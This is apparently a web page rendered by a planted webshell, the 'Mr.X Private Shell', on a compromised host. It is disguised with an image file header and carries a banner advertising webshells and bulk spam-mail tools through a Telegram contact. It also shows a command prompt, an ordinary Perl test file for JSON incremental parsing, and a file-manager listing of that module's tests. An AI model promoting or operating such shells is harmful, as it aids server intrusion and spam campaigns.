����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;
use Test::More;

use utf8;
BEGIN { $ENV{PERL_JSON_BACKEND} ||= "JSON::backportPP"; }

use JSON;
plan skip_all => "not for older version of JSON::PP" if JSON->backend->isa('JSON::PP') && JSON->backend->VERSION < 4.07;
use Encode;
use charnames qw< :full >;

plan tests => 24;

use vars qw< @vs >;

############################################################
###  These first tests mimic the ones in `t/001_utf8.t`  ###
############################################################

scalar eval { JSON->new->allow_nonref (1)->utf8 (1)->incr_parse ('"ü"') };
like $@, qr/malformed UTF-8/;

ok (JSON->new->allow_nonref (1)->incr_parse ('"ü"') eq "ü");
ok (JSON->new->allow_nonref (1)->incr_parse ('"\u00fc"') eq "ü");
ok (JSON->new->allow_nonref (1)->incr_parse ('"\ud801\udc02' . "\x{10204}\"") eq "\x{10402}\x{10204}");
ok (JSON->new->allow_nonref (1)->incr_parse ('"\"\n\\\\\r\t\f\b"') eq "\"\012\\\015\011\014\010");


my $JSON_TXT = <<JSON_TXT;
{ "a": "1" }
{ "b": "\N{BULLET}" }
{ "c": "3" }
JSON_TXT

#######################
###  With '->utf8'  ###
#######################

@vs = eval { JSON->new->utf8->incr_parse( $JSON_TXT ) };
like $@, qr/Wide character in subroutine entry/;


@vs = eval { JSON->new->utf8->incr_parse( encode 'UTF-8' => $JSON_TXT ) };

ok( !$@ );
ok( scalar @vs == 3 );

is_deeply( \@vs, [ { a => "1" }, { b => "\N{BULLET}" }, { c => "3" } ] );
is_deeply( $vs[0], { a => "1" } );
is_deeply( $vs[1], { b => "\N{BULLET}" } );
is_deeply( $vs[2], { c => "3" } );


# Double-Encoded => "You Get What You Ask For"

@vs = eval { JSON->new->utf8->incr_parse( encode 'UTF-8' => ( encode 'UTF-8' => $JSON_TXT ) ) };

ok( !$@ );
ok( scalar @vs == 3 );

is_deeply( \@vs, [ { a => "1" }, { b => "\x{E2}\x{80}\x{A2}" }, { c => "3" } ] );
is_deeply( $vs[0], { a => "1" } );
is_deeply( $vs[1], { b => "\x{E2}\x{80}\x{A2}" } );
is_deeply( $vs[2], { c => "3" } );


##########################
###  Without '->utf8'  ###
##########################

@vs = eval { JSON->new->incr_parse( $JSON_TXT ) };

ok( !$@ );
ok( scalar @vs == 3 );

is_deeply( \@vs, [ { a => "1" }, { b => "\N{BULLET}" }, { c => "3" } ] );
is_deeply( $vs[0], { a => "1" } );
is_deeply( $vs[1], { b => "\N{BULLET}" } );
is_deeply( $vs[2], { c => "3" } );

Filemanager

Name Type Size Permission Actions
00_backend_version.t File 177 B 0644
00_load.t File 266 B 0644
00_load_backport_pp.t File 329 B 0644
01_utf8.t File 1.3 KB 0644
02_error.t File 2.91 KB 0644
03_types.t File 2.48 KB 0644
04_dwiw_encode.t File 2.09 KB 0644
05_dwiw_decode.t File 2.09 KB 0644
06_pc_pretty.t File 1.25 KB 0644
07_pc_esc.t File 1.97 KB 0644
08_pc_base.t File 2.14 KB 0644
09_pc_extra_number.t File 770 B 0644
104_sortby.t File 696 B 0644
105_esc_slash.t File 325 B 0644
106_allow_barekey.t File 402 B 0644
107_allow_singlequote.t File 526 B 0644
108_decode.t File 1.09 KB 0644
109_encode.t File 1.12 KB 0644
10_pc_keysort.t File 481 B 0644
110_bignum.t File 1.45 KB 0644
112_upgrade.t File 448 B 0644
113_overloaded_eq.t File 1022 B 0644
114_decode_prefix.t File 890 B 0644
115_tie_ixhash.t File 754 B 0644
116_incr_parse_fixed.t File 470 B 0644
117_numbers.t File 850 B 0644
118_boolean_values.t File 3.48 KB 0644
119_incr_parse_utf8.t File 2.21 KB 0644
11_pc_expo.t File 1.62 KB 0644
120_incr_parse_truncated.t File 8.7 KB 0644
12_blessed.t File 1.43 KB 0644
13_limit.t File 903 B 0644
14_latin1.t File 520 B 0644
15_prefix.t File 407 B 0644
16_tied.t File 405 B 0644
17_relaxed.t File 669 B 0644
18_json_checker.t File 3.86 KB 0644
19_incr.t File 3.32 KB 0644
20_faihu.t File 963 B 0644
20_unknown.t File 1003 B 0644
21_evans.t File 506 B 0644
22_comment_at_eof.t File 1.44 KB 0644
52_object.t File 1.18 KB 0644
99_binary.t File 1.47 KB 0644
e00_func.t File 311 B 0644
e01_property.t File 1.62 KB 0644
e02_bool.t File 1.39 KB 0644
e03_bool2.t File 1.13 KB 0644
e11_conv_blessed_univ.t File 872 B 0644
e90_misc.t File 425 B 0644
gh_28_json_test_suite.t File 1.27 KB 0644
gh_29_trailing_false_value.t File 330 B 0644
rt_116998_wrong_character_offset.t File 718 B 0644
rt_122270_is_bool_for_obsolete_xs_boolean.t File 875 B 0644
rt_122270_old_xs_boolean.t File 875 B 0644
rt_90071_incr_parse.t File 816 B 0644
x00_load.t File 301 B 0644
x02_error.t File 2.63 KB 0644
x12_blessed.t File 1.38 KB 0644
x16_tied.t File 398 B 0644
x17_strange_overload.t File 484 B 0644
xe04_escape_slash.t File 423 B 0644
xe05_indent_length.t File 1.22 KB 0644
xe12_boolean.t File 555 B 0644
xe19_xs_and_suportbypp.t File 604 B 0644
xe20_croak_message.t File 585 B 0644
xe21_is_pp.t File 581 B 0644
zero-mojibake.t File 389 B 0644